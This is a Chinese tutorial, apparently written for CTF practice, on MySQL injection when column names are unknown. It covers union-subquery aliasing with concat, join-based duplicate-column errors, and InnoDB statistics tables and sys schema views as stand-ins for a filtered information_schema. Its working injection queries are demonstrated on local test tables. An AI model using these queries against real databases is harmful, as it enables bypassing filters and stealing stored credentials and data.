本文最后更新于:2022年3月7日下午1点14分
无列名注入 适用场景
已知表名,未知列名dump数据
information_schema
被waf或者正则过滤
原理解析 假设当前在Lxxx
数据库中,有表ctftable
,其数据内容如下:
1 2 3 4 5 6 7 8 9 mysql> select * from ctftable;+ | id | user | passwd | + | 1 | admin | passwd | | 2 | user | pass | | 3 | Lxxx | 123456 | + 3 rows in set (0.03 sec)
首先进行联合查询:
1 2 3 4 5 6 7 8 9 10 mysql> select 1 ,2 ,3 union select * from ctftable;+ | 1 | 2 | 3 | + | 1 | 2 | 3 | | 1 | admin | passwd | | 2 | user | pass | | 3 | Lxxx | 123456 | + 4 rows in set (0.00 sec)
然而这样查询的多列数据,如果想要查询单列数据,SQL语句应修改为:
1 select b from (select 1 ,2 ,3 as b union select * from ctftable)a;
这条SQL语句含义为将联合查询的第三列的别名设置为b
,接着将整个一个联合查询的结果的别名设置为a
,然后取出联合查询结果中的第三列,结果如下:
1 2 3 4 5 6 7 8 9 10 mysql> select b from (select 1 ,2 ,3 as b union select * from ctftable)a;+ | b | + | 3 | | passwd | | pass | | 123456 | + 4 rows in set (0.02 sec)
这时候我们再将SQL语句变形一下
1 select concat(b,0x2d ,c) from (select 1 ,2 as b,3 as c union select * from ctftable)a;
此时,利用concat
函数将两列内容合并起来,其中0x2d
为字符-
用于连接
该SQL语句运行结果如下:
1 2 3 4 5 6 7 8 9 10 mysql> select concat(b,0x2d ,c) from (select 1 ,2 as b,3 as c union select * from ctftable)a;+ | concat(b,0x2d ,c) | + | 2 -3 | | admin- passwd | | user - pass | | Lxxx-123456 | + 4 rows in set (0.01 sec)
将SQL语句稍作修改,那么就可以实现将数据表中的内容dump下来
1 2 3 4 5 6 7 8 9 10 mysql> select concat(b,0x2d ,c,0x2d ,d) from (select 1 as b,2 as c,3 as d union select * from ctftable)a;+ | concat(b,0x2d ,c,0x2d ,d) | + | 1 -2 -3 | | 1 - admin- passwd | | 2 - user - pass | | 3 - Lxxx-123456 | + 4 rows in set (0.00 sec)
那么这样,就可以不需要列名完成注入
join方法无列名注入 适用场景
原理解析 1 2 3 4 5 6 mysql> select * from (select * from ctftable as a join ctftable as b )as c;1060 - Duplicate column name 'id' mysql> select * from (select * from ctftable as a join ctftable as b using (id))as c;1060 - Duplicate column name 'user' mysql> select * from (select * from ctftable as a join ctftable as b using (id,user ))as c;1060 - Duplicate column name 'passwd'
将第一次select * from ctftable
命名为a
,第二次select * from ctftable
命名为b
,然后将两次结果利用join
合并起来作为结果c
,此时利用select
语句查询c
结果,就会造成有两列列名一致,从而报错,
适用场景
information_schema
被过滤
MySQL >= 5.6
原理解析 MySQL 5.5.8开始,InnoDB成为其默认存储引擎
在MySQL 5.6以上的版本中,InnoDb增加了innodb_index_stats
和innodb_table_stats
两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。
在MySQL 5.6版本中,可以使用mysql.innodb_table_stats
和mysql.innodb_table_index
这两张表来替换information_schema.tables
实现注入,但是缺点是没有列名。
1 select group_concat(database_name) from mysql.innodb_table_stats
1 select group_concat(table_name) from mysql.innodb_table_stats where database_name= database()
适用场景
MySQL >= 5.7
information_schema
被过滤
原理解析 在MySQL 5.7中,新增了sys系统数据库,通过这个库可以快速地了解系统的元数据信息。sys库是通过视图的形式把information_schema
和performance_schema
结合起来,查询出更加令人容易理解的数据。
sys库下有两种表:
字母开头: 适合人阅读,显示是格式化的数;
x$
开头 : 适合工具采集数据,原始类数据;
sys.schema_auto_increment_columns schema_auto_increment_columns
,该视图的作用简单来说就是用来对表自增ID的监控。
在设计表时,一般会给一些字段设置自增,而schema_auto_increment_columns
视图中保存的就是那些有自增字段的表的数据库相关信息。
本地环境中保存有lmxcms
库及其相关表的信息,这是因为这个数据库中这些表的id列都是设置为自增的:
1 2 3 4 # 查询数据库select table_schema from sys.schema_auto_increment_columns; # 查询指定数据库的表select table_name from sys.schema_auto_increment_columns where table_schema= 'lmxcms' ;
测试代码如下:(结果做了部分省略
1 2 3 4 5 6 7 8 9 10 11 mysql> select table_schema from sys.schema_auto_increment_columns;+ | table_schema | + | yzmcms | | lmxcms1.41 test | | lmxcms1.41 | | moodle | | yzncms | + 5 rows in set (0.03 sec)
1 2 3 4 5 6 7 8 9 10 mysql> select table_name from sys.schema_auto_increment_columns where table_schema= 'lmxcms' ;+ | table_name | + | lmx_user | | lmx_tags_info | | lmx_dyform | | lmx_book | + 4 rows in set (0.01 sec)
schema_table_statistics_with_buffer和x$schema_table_statistics_with_buffer 前面的schema_auto_increment_columns
对应的是存在自增列的表,但是针对不存在自增列的表的话可以通过本小节的这个视图来实现查询。
比如本地Lxxx
库的表中并没有含有自增列,但是在schema_table_statistics_with_buffer
中能查询:(结果做了部分省略)
1 2 3 4 5 6 # 查询数据库select table_schema from sys.schema_table_statistics_with_buffer;select table_schema from sys.x$schema_table_statistics_with_buffer; # 查询指定数据库的表select table_name from sys.schema_table_statistics_with_buffer where table_schema= 'Lxxx' ;select table_name from sys.x$schema_table_statistics_with_buffer where table_schema= 'Lxxx' ;
1 2 3 4 5 6 7 8 9 10 11 mysql> select table_schema from sys.x$schema_table_statistics_with_buffer;+ | table_schema | + | lmxcms1.41 test | | yzmcms | | moodle | | jizhicms7869 | | moodle | + 5 rows in set (0.02 sec)
1 2 3 4 5 6 7 mysql> select table_name from sys.x$schema_table_statistics_with_buffer where table_schema= 'Lxxx' ;+ | table_name | + | ctftable | + 1 row in set (0.19 sec)
参考资料